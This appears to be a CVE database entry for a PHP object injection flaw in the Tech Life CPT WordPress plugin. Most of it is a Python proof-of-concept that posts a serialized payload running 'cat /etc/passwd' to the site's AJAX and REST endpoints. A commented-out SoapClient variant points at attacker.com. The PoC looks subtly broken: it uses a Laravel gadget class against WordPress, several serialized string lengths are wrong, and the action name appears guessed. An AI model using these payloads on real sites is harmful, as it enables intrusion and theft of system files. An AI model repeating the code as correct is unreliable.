CVE-2025-69036

Description

Deserialization of Untrusted Data vulnerability in strongholdthemes Tech Life CPT techlife-cpt allows Object Injection.This issue affects Tech Life CPT: from n/a through <= 16.4.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tech Life CPT <= 16.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-69036 PHP Object Injection PoC
# Target: WordPress with Tech Life CPT plugin <= 16.4

import requests
import base64

target_url = "http://target-wordpress-site.com"

# PHP Object Injection Payload using POP chain
# This payload attempts to trigger __destruct() for code execution
payload = 'O:31:"Illuminate\\Routing\\UrlGenerator":2:{s:10:"\x00*\x00keys";a:1:{s:5:"value";s:10:";cat /etc/passwd;";}s:9:"\x00*\x00scheme";s:4:"http";}'

# Alternative payload for SSRF via SoapClient
# payload = 'O:10:"SoapClient":4:{s:3:"uri";s:41:"http://attacker.com/evil.php?cmd=";s:11:"location";s:41:"http://attacker.com/evil.php?cmd=";s:8:"user_agent";s:0:"";s:13:"_connection_timeout";i:0;}'

encoded_payload = base64.b64encode(payload.encode()).decode()

# Try to inject via plugin's vulnerable parameter
endpoints = [
    "/wp-admin/admin-ajax.php",
    "/wp-json/wp/v2/posts",
]

for endpoint in endpoints:
    try:
        data = {
            "action": "techlife_cpt_ajax_handler",
            "data": encoded_payload
        }
        response = requests.post(target_url + endpoint, data=data, timeout=10)
        print(f"[*] Sent payload to {endpoint}: Status {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

print("\n[!] Manual verification required - check for code execution or SSRF")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69036
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69036
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69036/
[4] VulDB https://vuldb.com/cve/CVE-2025-69036
[5] https://patchstack.com/database/Wordpress/Plugin/techlife-cpt/vulnerability/wordpress-tech-life-cpt-plugin-16-4-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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